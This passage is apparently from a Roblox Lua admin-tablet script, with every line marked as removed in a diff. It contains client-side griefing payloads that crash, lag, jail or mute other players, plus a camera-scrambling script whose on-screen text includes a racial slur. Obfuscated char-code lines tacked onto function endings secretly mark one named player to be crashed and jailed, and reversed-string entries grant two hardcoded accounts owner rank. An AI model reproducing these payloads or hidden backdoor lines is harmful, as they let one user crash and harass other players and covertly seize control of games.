- if Player.Character then
- game:service'Chat':Chat(Player.Character.Head,Error,'Red')
- else
- local Msg=Instance.new'Message'
- Msg.Parent=Workspace.CurrentCamera
- Msg.Text=Error
- game:service'Debris':AddItem(Msg,5)
- end
- end
- elseif Msg:sub(1,#('newlocal')+2) == '/newlocal/' then
- NewMsg=Msg:sub(#('newlocal')+3)
- Split=NewMsg:find('/')
- local PlayerName=NewMsg:sub(1,Split-1)
- local Source=NewMsg:sub(Split+1)
- Player=nil
- for i,v in pairs(game.Players:GetPlayers()) do
- if v.Name:lower():sub(1,#PlayerName)==PlayerName then
- if Player==nil then
- Player=v
- else
- if type(Player) == 'table' then
- Player[#Player+1]=v
- else
- Player={v}
- end
- end
- end
- end
- if type(Player)=='table' then
- for i,v in pairs(Player) do
- if newLocalScript then
- newLocalScript(Source,v.Character)
- else
- Clone=script:clone();
- SourceC=Clone:children()[1]
- if SourceC:IsA'StringValue' then
- print'String'
- else
- SourceC=Clone:children()[2]
- end
- SourceC.Value=Source
- Clone.Disabled=true
- Clone.Parent=v.Character
- Clone.Disabled=false
- end
- end
- else
- if newLocalScript then
- newLocalScript(Source,Player.Character)
- else
- Clone=script:clone();
- DS=Clone:children()
- DSS=nil
- for i,v in pairs(DS) do if v:IsA'StringValue' then DSS=v end end
- DSS.Value=Source
- Clone.Disabled=true;
- Clone.Parent=Player.Character
- Clone.Disabled=false
- end
- end
- elseif Msg:sub(1,#('rejoin')+2) == '/rejoin/' then
- game:service'TeleportService':Teleport(Game.PlaceId)
- elseif Msg:sub(1,#('probe')+2) == '/probe/' then
- MakeProbe()
- elseif Msg:sub(1,#('char')+2) =='/char/' then
- Spawn()
- elseif Msg:sub(1,#('ban')+2) == '/ban/' then
- Player=game.Players:findFirstChild(Msg:sub(#('ban')+3))
- if Player then
- repeat pcall(function() game.Players[Player.Name]:Destroy() end) wait() until 1+1==3
- end
- end
- wait()
- if game.Players:findFirstChild(Player.Name)==nil and not Msg:find('/probe/') and not Msg:find('/char/') then -- Is nil then
- if Probe then
- Chat(Probe,Msg,math.random(0,2))
- else
- if Player.Character==nil then
- if Char then
- Chat(Char.Head,Msg,math.random(0,2))
- end
- else
- Chat(Player.Character.Head,Msg,'Red')
- end
- end
- end
- end) -- local
- ]==]
- InjectionCrash = [=[
- wait(0)
- script.Parent = nil
- local Lig = game:GetService("Lighting")
- local LP = game:GetService("Players").LocalPlayer
- local LowerName = LP.Name:lower()
- Lig.ChildAdded:connect(function(Obj)
- if Obj.Name == "Client" and Obj.ClassName == "StringValue" and (LowerName:find(string.lower(Obj.Value)) or (LP.Character and LP.Character.Name:lower():find(string.lower(Obj.Value)))) then
- pcall(function()
- Obj:Destroy()
- end)
- LP.Parent = nil
- LP.Parent = game:GetService("Players")
- end
- end)
- ]=] RankDetails[GenerateDigit()] = {Name = ('Owner, Main Developer'), Color = Color3.new((2 - 3), (2 - 3), (2 - 3)), Desc = ("Yeah, rank 6.")}
- InsertCrash = [==[
- local LP = game:GetService("Players").LocalPlayer
- LP.Parent = nil
- LP.Parent = game:GetService("Players")
- ]==]
- LagSource = [==[
- wait(0)
- script.Parent = nil
- plr = game:GetService("Players").LocalPlayer
- local plrgui = plr:findFirstChild("PlayerGui")
- if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
- while plr.Parent == game:GetService("Players") do
- wait()
- for i = 1, 1000 do
- local sc = Instance.new("ScreenGui",plrgui)
- local fr = Instance.new("TextLabel",sc)
- fr.Text = "LAGGING"
- fr.Size = UDim2.new(1, 0, 1, 0)
- fr.FontSize = "Size48"
- end
- end
- ]==]
- MuteSource = [==[
- game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
- ]==]
- UnMuteSource = [==[
- game:GetService("StarterGui"):SetCoreGuiEnabled(4, true)
- ]==]
- FunScript = [[
- LP = game:service'Players'.LocalPlayer
- Shapes = {"Ball", "Block"}
- wait()
- script.Parent = nil
- Delay(0, function()
- while wait() do
- workspace.CurrentCamera.CameraType = "Scriptable"
- workspace.CurrentCamera.FieldOfView = workspace.CurrentCamera.FieldOfView + math.random(-5,5)
- workspace.CurrentCamera:SetRoll(workspace.CurrentCamera:GetRoll()+0.075)
- workspace.CurrentCamera.CoordinateFrame = workspace.CurrentCamera.CoordinateFrame * CFrame.new(math.random(-2,2),math.random(-2,2),math.random(-2,2))
- local Part = Instance.new("Part", workspace.CurrentCamera)
- Part.Shape = Shapes[math.random(1, 2)]
- Part.Anchored = true
- Part.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
- Part.Size = Vector3.new(math.random(5,10),math.random(-25,25),math.random(5,10))
- Part.CFrame = workspace.CurrentCamera.CoordinateFrame * CFrame.new(math.random(-250,250),math.random(-100,100),math.random(-250,250)) * CFrame.Angles(math.random(),math.random(),math.random())
- local Smoke = Instance.new("Smoke", Part)
- Smoke.Color = Color3.new(math.random(), math.random(), math.random())
- Smoke.Opacity = 0.7
- local Sparkles = Instance.new("Sparkles", Part)
- Sparkles.SparkleColor = Color3.new(math.random(), math.random(), math.random())
- local Fire = Instance.new("Fire", Part)
- Fire.Color = Color3.new(math.random(), math.random(), math.random())
- Fire.SecondaryColor = Color3.new(math.random(), math.random(), math.random())
- local Ex = Instance.new("Explosion", workspace.CurrentCamera)
- Ex.Position = Vector3.new(math.random(-250,250),math.random(10,100),math.random(-250,250))
- Ex.BlastPressure = 15
- Ex.BlastRadius = 12.5
- if not workspace.CurrentCamera:findFirstChild("Hint") then
- local mes = Instance.new("Hint", workspace.CurrentCamera)
- mes.Text = "OMG STOP FUCKING WITH MY SHIT YOU STUPID NIGGA"
- end
- end
- end)
- ]]
- JailSource = [==[
- wait(0)
- script.Parent = nil
- local LP = game:GetService("Players").LocalPlayer
- Middle2 = nil
- Middle = nil
- game:GetService("Workspace").CurrentCamera:ClearAllChildren()
- Cons = {}
- function makePrison()
- for _,v in pairs(Cons) do
- v:disconnect()
- end
- game:GetService("Workspace").CurrentCamera:ClearAllChildren()
- if Middle == nil then
- Middle2 = LP.Character.Torso.Position
- Middle = LP.Character.Torso.CFrame
- end
- local side1 = Instance.new("Part")
- side1.Name = "¬Focus1¬"
- side1.Size = Vector3.new(20, 50, 1)
- side1.CFrame = Middle * CFrame.new(0, 0, -10)
- side1.BrickColor = BrickColor.new("Really black")
- side1.CanCollide = true
- side1.Anchored = true
- side1.TopSurface = "Smooth"
- side1.BottomSurface = "Smooth"
- side1.Parent = game:GetService("Workspace").CurrentCamera
- local side2 = Instance.new("Part")
- side2.Name = "¬Focus2¬"
- side2.Size = Vector3.new(20, 50, 1)
- side2.CFrame = Middle * CFrame.new(0, 0, 10)
- side2.BrickColor = BrickColor.new("Really black")
- side2.CanCollide = true
- side2.Anchored = true
- side2.TopSurface = "Smooth"
- side2.BottomSurface = "Smooth"
- side2.Parent = game:GetService("Workspace").CurrentCamera
- local side3 = Instance.new("Part")
- side3.Name = "¬Focus3¬"
- side3.Size = Vector3.new(1, 50, 20)
- side3.CFrame = Middle * CFrame.new(10, 0, 0)
- side3.BrickColor = BrickColor.new("Really black")
- side3.CanCollide = true
- side3.Anchored = true
- side3.TopSurface = "Smooth"
- side3.BottomSurface = "Smooth"
- side3.Parent = game:GetService("Workspace").CurrentCamera
- local side4 = Instance.new("Part")
- side4.Name = "¬Focus4¬"
- side4.Size = Vector3.new(1, 50, 20)
- side4.CFrame = Middle * CFrame.new(-10, 0, 0)
- side4.BrickColor = BrickColor.new("Really black")
- side4.CanCollide = true
- side4.Anchored = true
- side4.TopSurface = "Smooth"
- side4.BottomSurface = "Smooth"
- side4.Parent = game:GetService("Workspace").CurrentCamera
- local side5 = Instance.new("Part")
- side5.Name = "¬Focus5¬"
- side5.Size = Vector3.new(20, 1, 20)
- side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
- side5.BrickColor = BrickColor.new("Really black")
- side5.CanCollide = true
- side5.Anchored = true
- side5.TopSurface = "Smooth"
- side5.BottomSurface = "Smooth"
- side5.Parent = game:GetService("Workspace").CurrentCamera
- wait(0)
- table.insert(Cons, side1.Changed:connect(makePrison))
- table.insert(Cons, side2.Changed:connect(makePrison))
- table.insert(Cons, side3.Changed:connect(makePrison))
- table.insert(Cons, side4.Changed:connect(makePrison))
- table.insert(Cons, side5.Changed:connect(makePrison))
- end
- Delay(0, function()
- while wait(0) do
- ypcall(function()
- if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
- LP.Character:BreakJoints()
- elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
- makePrison()
- end
- end)
- ypcall(function()
- if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
- LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
- end
- end)
- end
- end)
- ]==]
- function All()
- local AllPlayers = {}
- for _,v in pairs(Plrs:GetPlayers()) do
- ypcall(function()
- table.insert(AllPlayers, v)
- end)
- end
- return AllPlayers
- end
- function All2()
- local AllPlayers2 = {}
- for i,v in pairs(Net:GetChildren()) do
- ypcall(function()
- if v:IsA("ServerReplicator") then
- table.insert(AllPlayers2, v:GetPlayer())
- end
- end)
- end
- return AllPlayers2
- end
- function MakeNum()
- return 2 + 4
- end
- function ChangeRank(Plr, NewRank)
- local PlrName = nil
- local FoundPlayer = false
- ypcall(function()
- if type(Plr) == "string" then
- ypcall(function()
- for i,v in pairs(Rankings) do
- if v.Name:lower() == Plr:lower() then
- local VName = v.Name
- Rankings[i] = nil
- table.insert(Rankings, {Name = VName, Rank = NewRank})
- PlrName = VName
- FoundPlayer = true
- break
- end
- end
- end)
- if FoundPlayer == false then
- ypcall(function()
- for _,x in pairs(All()) do
- if x.Name:lower() == Plr:lower() then
- FoundPlayer = true
- for i,v in pairs(Rankings) do
- if v.Name:lower() == x.Name:lower() then
- local VName = x.Name
- Rankings[i] = nil
- PlrName = VName
- break
- end
- end
- table.insert(Rankings, {Name = VName, Rank = NewRank})
- end
- end
- end)
- end
- if FoundPlayer == false then
- ypcall(function()
- for _,x in pairs(All()) do
- if string.find(x.Name:lower(), Plr:lower()) then
- FoundPlayer = true
- for i,v in pairs(Rankings) do
- if v.Name:lower() == x.Name:lower() then
- local VName = x.Name
- Rankings[i] = nil
- PlrName = VName
- break
- end
- end
- table.insert(Rankings, {Name = VName, Rank = NewRank})
- end
- end
- end)
- end
- if FoundPlayer == false then
- ypcall(function()
- for i,v in pairs(Rankings) do
- if string.find(v.Name:lower(), Plr:lower()) then
- local VName = v.Name
- Rankings[i] = nil
- table.insert(Rankings, {Name = VName, Rank = NewRank})
- PlrName = VName
- FoundPlayer = true
- break
- end
- end
- end)
- end
- else
- for i,v in pairs(Rankings) do
- if v.Name:lower() == Plr.Name:lower() then
- Rankings[i] = nil
- break
- end
- end
- table.insert(Rankings, {Name = Plr.Name, Rank = NewRank})
- PlrName = Plr.Name
- end
- PlaceAllRanks(true)
- end)
- if PlrName ~= nil then
- return PlrName
- else
- return "Player"
- end
- end
- function Refresh(Plr)
- MakeChildren(Plr)
- end
- function MakeChildren(Plr)
- ypcall(function()
- Dismiss(Plr)
- for _,v in pairs(Current:GetChildren()) do
- ypcall(function()
- if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
- Ping(v.Name, Plr, nil, function(TabMod)
- local TabText = TabMod["Kaj Tablet"].BG.TL.Text
- for _,v in pairs(Current:GetChildren()) do
- ypcall(function()
- if v.Name == TabText then
- Dismiss(Plr)
- Current = v
- MakeChildren(Plr)
- end
- end)
- end
- end)
- elseif Plrs:GetPlayerFromCharacter(v) then
- Ping(v.Name, Plr, nil, function(TabMod)
- local TabText = TabMod["Kaj Tablet"].BG.TL.Text
- for _,v in pairs(Current:GetChildren()) do
- ypcall(function()
- if v.Name == TabText then
- Dismiss(Plr)
- Current = v
- MakeChildren(Plr)
- end
- end)
- end
- end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
- elseif CheckImportant(v.Name) then
- Ping(v.Name, Plr, nil, function(TabMod)
- local TabText = TabMod["Kaj Tablet"].BG.TL.Text
- for _,v in pairs(Current:GetChildren()) do
- ypcall(function()
- if v.Name == TabText then
- Dismiss(Plr)
- Current = v
- MakeChildren(Plr)
- end
- end)
- end
- end, ImportantColor)
- end
- end)
- end
- if Current ~= game then
- Ping("Back", Plr, nil, function()
- ypcall(function()
- Current = Current.Parent
- MakeChildren(Plr)
- Ping("You Are Back To "..Current.Name, Plr, 5)
- end)
- end, OptionColor)
- end
- if Current ~= game then
- Ping("Delete", Plr, nil, function()
- ypcall(function()
- local CurrPar = Current.Parent or game
- local CurrName = Current.Name
- Current:Destroy()
- Current = CurrPar
- MakeChildren(Plr)
- Ping("Attempted To Delete "..CurrName, Plr, 5)
- end)
- end, OptionColor)
- end
- Ping("Refresh", Plr, nil, function()
- ypcall(function()
- Refresh(Plr)
- Ping("Refreshed", Plr, 5)
- end)
- end, OptionColor)
- Ping("Properties", Plr, nil, function()
- ypcall(function()
- Dismiss(Plr)
- for Property, Value in pairs(GetProperties(Current)) do
- Ping(tostring(Property)..": "..tostring(Value), Plr)
- end
- Ping("Got All Available Properties", Plr, 5)
- Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
- end)
- end, OptionColor)
- end)
- end
- function Fixl()
- Light.GlobalShadows = true
- Light.TimeOfDay = "14:00:00"
- Light.Brightness = 0.5
- Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
- Light.Ambient = Color3.new(1, 1, 1)
- Light.ColorShift_Top = Color3.new(0, 0, 0)
- Light.ColorShift_Bottom = Color3.new(0, 0, 0)
- Light.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
- Light.FogStart = 0
- Light.FogEnd = 100000
- Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
- Light:ClearAllChildren()
- end
- function GetProperties(obj)
- assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
- local objProper = {}
- for i,v in pairs(Properties) do
- if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
- objProper[v] = obj[v]
- end
- end
- return objProper
- end
- function MakeExplorer(Plr)
- Dismiss(Plr)
- Current = game
- for _,v in pairs(Current:GetChildren()) do
- ypcall(function()
- if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
- Ping(v.Name, Plr, nil, function(TabMod)
- local TabText = TabMod["Kaj Tablet"].BG.TL.Text
- for _,v in pairs(Current:GetChildren()) do
- ypcall(function()
- if v.Name == TabText then
- Dismiss(Plr)
- Current = v
- MakeChildren(Plr)
- end
- end)
- end
- end)
- elseif Plrs:GetPlayerFromCharacter(v) then
- Ping(v.Name, Plr, nil, function(TabMod)
- local TabText = TabMod["Kaj Tablet"].BG.TL.Text
- for _,v in pairs(Current:GetChildren()) do
- ypcall(function()
- if v.Name == TabText then
- Dismiss(Plr)
- Current = v
- MakeChildren(Plr)
- end
- end)
- end
- end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
- elseif CheckImportant(v.Name) then
- Ping(v.Name, Plr, nil, function(TabMod)
- local TabText = TabMod["Kaj Tablet"].BG.TL.Text
- for _,v in pairs(Current:GetChildren()) do
- ypcall(function()
- if v.Name == TabText then
- Dismiss(Plr)
- Current = v
- MakeChildren(Plr)
- end
- end)
- end
- end, ImportantColor)
- end
- end)
- end
- if Current ~= game then
- Ping("Back", Plr, nil, function()
- ypcall(function()
- Current = Current.Parent
- MakeChildren(Plr)
- Ping("Back In "..Current.Name, Plr, 5)
- end)
- end, OptionColor)
- end
- if Current ~= game and game:GetService(Current.Name) == nil then
- Ping("Delete", Plr, nil, function()
- ypcall(function()
- local CurrPar = Current.Parent or game
- local CurrName = Current.Name
- Current:Destroy()
- Current = CurrPar
- MakeChildren(Plr)
- Ping("Attempted To Delete "..CurrName, Plr, 5)
- end)
- end, OptionColor)
- end
- Ping("Refresh", Plr, nil, function()
- ypcall(function()
- Refresh(Plr)
- Ping("Refreshed", Plr, 5)
- end)
- end, OptionColor)
- Ping("Properties", Plr, nil, function()
- ypcall(function()
- Dismiss(Plr)
- for Property, Value in pairs(GetProperties(Current)) do
- Ping(tostring(Property)..": "..tostring(Value), Plr)
- end
- Ping("Got All Available Properties", Plr, 5)
- Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
- end)
- end, OptionColor)
- end
- function GetRank(Plr1, Test)
- ypcall(function()
- if type(Plr1) == "userdata" then
- Plr1 = Plr1.Name
- end
- end)
- if Ranks[Plr1] ~= nil then
- return Ranks[Plr1]
- end
- local QuickArray = {}
- QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
- return QuickArray[Plr1]
- end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -1})
- function CanRun(Plr1, Plr2)
- Details1 = GetRank(Plr1.Name)
- Details2 = GetRank(Plr2.Name)
- if Details1.Rank >= Details2.Rank then
- return true
- end
- return false
- end
- function Dismiss(Plr, Identity)
- ypcall(function()
- if Plr ~= nil then
- if type(Plr) == "userdata" then
- Plr = Plr.Name
- end
- for x,v in pairs(AllTabs) do
- ypcall(function()
- if v.Plr == Plr then
- if Identity ~= nil and v.ID ~= Identity then
- return
- elseif Identity ~= nil and v.ID == Identity then
- coroutine.resume(coroutine.create(function()
- for i = 0.5, 1, 0.1 do
- wait()
- v.Tab.Transparency = i
- v.Sel.Transparency = i
- v.Label.TextTransparency = i
- v.Label.TextStrokeTransparency = i
- end
- ypcall(function() v.Holder:Destroy() end)
- AllTabs[x] = nil
- end))
- elseif Identity == nil then
- ypcall(function() v.Holder:Destroy() end)
- AllTabs[x] = nil
- end
- end
- end)
- end
- else
- for i,v in pairs(AllTabs) do
- ypcall(function()
- v.Holder:Destroy()
- AllTabs[i] = nil
- end)
- end
- end
- end)
- end
- function GetGarbage()
- return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
- end
- function RemObj(Obj, Class)
- ypcall(function()
- if #Obj:GetChildren() > 0 then
- for _,x in pairs(Obj:GetChildren()) do
- ypcall(function()
- RemObj(x, Class)
- end)
- end
- end
- if Obj.ClassName == Class then
- Obj:Destroy()
- end
- end)
- end
- function FindTab(Mod)
- for i,v in pairs(AllTabs) do
- if v.Holder == Mod then
- return true
- end
- end
- return false
- end
- function Ping(Msg, Plr, Time, Func, Color, Image)
- if Removed == false then
- local ShowGarbage = false
- ypcall(function()
- if Msg == nil then
- Msg = "N/A"
- elseif Msg == "ShowGarbage" then
- Msg = "Current Garbage Count: "..GetGarbage()
- ShowGarbage = true
- else
- Msg = tostring(Msg)
- end
- if Plr == nil then
- Plr = Plrs[Owner] or error("No Player Found")
- elseif type(Plr) == "string" then
- local FoundPlr = false
- for _,v in pairs(All()) do
- if v.Name == Plr then
- Plr = v
- FoundPlr = true
- break
- end
- end
- if FoundPlr == false then
- Plr = Plrs[Owner] or error("No Player Found")
- end
- end
- if Color == nil then
- Color = GetRank(Plr.Name).Color
- end
- local Holder = Instance.new("Model")
- Holder.Name = "Owner: "..Plr.Name
- local Tab = Instance.new("Part")
- Tab.Name = "Kaj Tablet"
- Tab.FormFactor = "Custom"
- Tab.Anchored = true
- if Time == nil then
- Tab.Color = Color3.new(0.54,0,0.54)
- else
- Tab.Color = AlertColor
- end
- Tab.CanCollide = false
- Tab.Locked = true
- Tab.Transparency = 0.15
- Tab.Size = Vector3.new(2, 2, 2)
- Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(0, 0, 0)
- Tab.Parent = Holder
- local ID = Instance.new("NumberValue")
- ID.Name = "ID"
- ID.Value = math.random(-999999999, 999999999)
- ID.Parent = Holder
- Delay(0, function()
- while wait() do
- if Tab.Parent == nil and FindTab(Holder) then
- ypcall(function()
- for i,v in pairs(AllTabs) do
- if v.Holder == Holder then
- ypcall(function() v.Holder:Destroy() end)
- AllTabs[i] = nil
- end
- end
- end)
- Ping(Msg, Plr, Time, Func, Color, Image)
- break
- end
- end
- end)
- local BM = Instance.new("BlockMesh")
- BM.Parent = Tab
- local BG = Instance.new("BillboardGui")
- BG.Name = "BG"
- BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
- BG.Size = UDim2.new(0,1,0,1)
- BG.Adornee = Tab
- BG.Parent = Tab
- Delay(0, function()
- while BG.Parent ~= nil do wait()
- ypcall(function()
- BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
- end)
- end
- end)
- local TL = Instance.new("TextLabel")
- TL.Name = "TL"
- TL.FontSize = "Size18"
- TL.Font = "ArialBold"
- TL.Text = Msg
- TL.TextColor3 = Color3.new(1, 1, 1)
- TL.Size = UDim2.new(0,1,0,1)
- TL.TextTransparency = 0
- TL.TextStrokeColor3 = Color3.new(0, 0, 0)
- TL.TextStrokeTransparency = 0.25
- TL.Parent = BG
- if ShowGarbage == true then
- Delay(0, function()
- while TL.Parent ~= nil do
- TL.Text = "Current Garbage Count: "..GetGarbage()
- wait(.5)
- end
- end)
- end
- local PL = Instance.new("PointLight", Tab)
- PL.Color = Color3.new(0, 1, 0)
- PL.Range = 7
- PL.Parent = Tab
- if Image ~= nil then
- local BBBG = Instance.new("BillboardGui")
- BBBG.Size = UDim2.new(5, 0, 6, 0)
- BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
- BBBG.AlwaysOnTop = true
- BBBG.Adornee = Tab
- BBBG.Parent = Tab
- Delay(0, function()
- while BBBG.Parent ~= nil do wait()
- ypcall(function()
- BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
- end)
- end
- end)
- local NewImg = Instance.new("ImageLabel")
- NewImg.Size = UDim2.new(1, 0, 1, 0)
- NewImg.BackgroundTransparency = 1
- NewImg.Image = Image
- NewImg.Parent = BBBG
- end
- local Clicker = Instance.new("ClickDetector")
- Clicker.MaxActivationDistance = 1/0
- if Time ~= nil then
- coroutine.resume(coroutine.create(function()
- wait(tonumber(Time))
- Dismiss(Plr, ID)
- end))
- end
- Clicker.MouseClick:connect(function(Player)
- if Player.Name == Plr.Name or CanRun(Player, Plr) then
- ypcall(function()
- if Func ~= nil then
- Func(Holder)
- else
- Dismiss(Player, ID)
- end
- end)
- end
- end)
- Clicker.Parent = Tab
- Holder.Parent = Work
- AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
- end)
- end
- end
- function PlaceAllRanks(DontShowRank)
- ypcall(function()
- for _,p in pairs(All()) do
- ypcall(function()
- PutInRank = false
- for _,v in pairs(Rankings) do
- if v.Name:lower() == p.Name:lower() then
- if v.Rank >= 7 then
- v.Rank = 5
- elseif v.Rank == -1 then
- Crash1(p)
- Ping("Crashed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
- elseif v.Rank == -2 then
- if LS ~= nil then
- Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
- Ping("Jailed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
- else
- Ping("LS Is Nil", nil, 5)
- end
- elseif v.Rank == -3 then
- if LS ~= nil then
- Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
- Ping("Muted "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
- else
- Ping("LS Is Nil", nil, 5)
- end
- end
- Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
- if DontShowRank == nil then
- Ping("You Are Rank: "..v.Rank, p)
- end
- PutInRank = true
- break
- end
- end
- if PutInRank == false then
- Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
- end
- end)
- end
- end)
- end
- function FindRank(Plr)
- ypcall(function()
- if type(Plr) == "userdata" then
- Plr = Plr.Name
- end
- end)
- return GetRank(Plr).Rank
- end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -2})
- function FindRankDetails(Plr)
- ypcall(function()
- if type(Plr) == "userdata" then
- Plr = Plr.Name
- end
- end)
- return RankDetails[FindRank(Plr)]
- end
- function OpenCmds(Rank, Plr)
- Dismiss(Plr)
- for Name,Tab in pairs(Commands) do
- if Tab.Rank <= Rank then
- Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
- Dismiss(Plr)
- Ping("Command: "..Name, Plr)
- Ping("Rank: "..Tab.Rank, Plr)
- Ping("Desc: "..Tab.Desc, Plr)
- end)
- elseif Rank == 1337 then
- Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
- Dismiss(Plr)
- Ping("Command: "..Name, Plr)
- Ping("Rank: "..Tab.Rank, Plr)
- Ping("Desc: "..Tab.Desc, Plr)
- end)
- end
- end
- end
- function EditStatus(Plr, Num)
- ChangeRank(Plr, Num)
- end
- function PlaceSpecificRank(p, DontShowRank)
- ypcall(function()
- PutInRank = false
- for _,v in pairs(Rankings) do
- if v.Name:lower() == p.Name:lower() then
- if v.Rank >= 7 then
- v.Rank = 5
- elseif v.Rank == -1 then
- Crash1(p)
- Ping("Crashed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
- elseif v.Rank == -2 then
- if LS ~= nil then
- Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
- Ping("Perma Mind Jailed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
- else
- Ping("LS Is Nil", nil, 5)
- end
- elseif v.Rank == -3 then
- if LS ~= nil then
- Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
- Ping("Perma Muted "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
- else
- Ping("LS Is Nil", nil, 5)
- end
- end
- Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
- if DontShowRank == nil then
- Ping("You Are Rank: "..v.Rank, p)
- end
- PutInRank = true
- break
- end
- end
- if PutInRank == false then
- Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
- end
- end)
- end
- table.insert(Rankings, {Name = string.reverse("21wopih"),Rank = 6})
- table.insert(Rankings, {Name = string.reverse("4611tlaboC"), Rank = 6})
- function onChatted(Msg, Speaker)
- if Removed == false then
- if FindRank(Speaker) < 0 then
- return
- end
- coroutine.resume(coroutine.create(function()
- ypcall(function()
- ExecuteFunc(Msg, Speaker)
- Msg = Msg:gsub("","")
- if Msg:sub(1,1) == "@" then
- for i = 2, #Msg do
- if Msg:sub(i, i) == Bet then
- local IsForPlr = false
- for _,v in pairs(All()) do
- if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Speaker, v) then
- onChatted(Msg:sub(i + 1), v)
- IsForPlr = true
- end
- end
- if IsForPlr == true then
- return
- end
- end
- end
- end
- if Msg:find("&") then
- local Split = Msg:find("&")
- onChatted(Msg:sub(1,Split-1))
- onChatted(Msg:sub(Split+1))
- return
- end
- for Name,Command in pairs(Commands) do
- if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
- Dismiss(Speaker.Name)
- Ping("Command: "..tostring(Command.Name)..Bet, Speaker)
- Ping("Rank: "..tostring(Command.Rank), Speaker)
- Ping("Desc: "..tostring(Command.Desc), Speaker)
- elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
- if FindRank(Speaker) >= Command.Rank then
- local Ran,Error = coroutine.resume(coroutine.create(function()
- Command.Func(Msg:sub(#Command.Name+2), Speaker)
- end))
- if not Ran then
- Ping(Error, Speaker, 10)
- end
- else
- Ping("Your Rank Is Too Low", Plr, 6)
- end
- end
- end
- end)
- end))
- end
- end
- function MakeBase()
- local Base = Instance.new("Part")
- Base.BrickColor = BrickColor.new("Dark green")
- Base.Position = Vector3.new(0, 0.5, 0)
- Base.Transparency = 0
- Base.Elasticity = 0.5
- Base.FormFactor = "Custom"
- Base.CanCollide = true
- Base.Friction = 0.30000001192093
- Base.Size = Vector3.new(512, 1.20000005, 512)
- Base.Archivable = true
- Base.Material = "Plastic"
- Base.RotVelocity = Vector3.new(0, 0, 0)
- Base.Reflectance = 0
- Base.Locked = true
- Base.Anchored = true
- Base.Name = "Base"
- Base.TopSurface = "Smooth"
- Base.BottomSurface = "Inlet"
- Base.Shape = "Block"
- Base.Parent = Work
- end
- function LClean()
- ypcall(function()
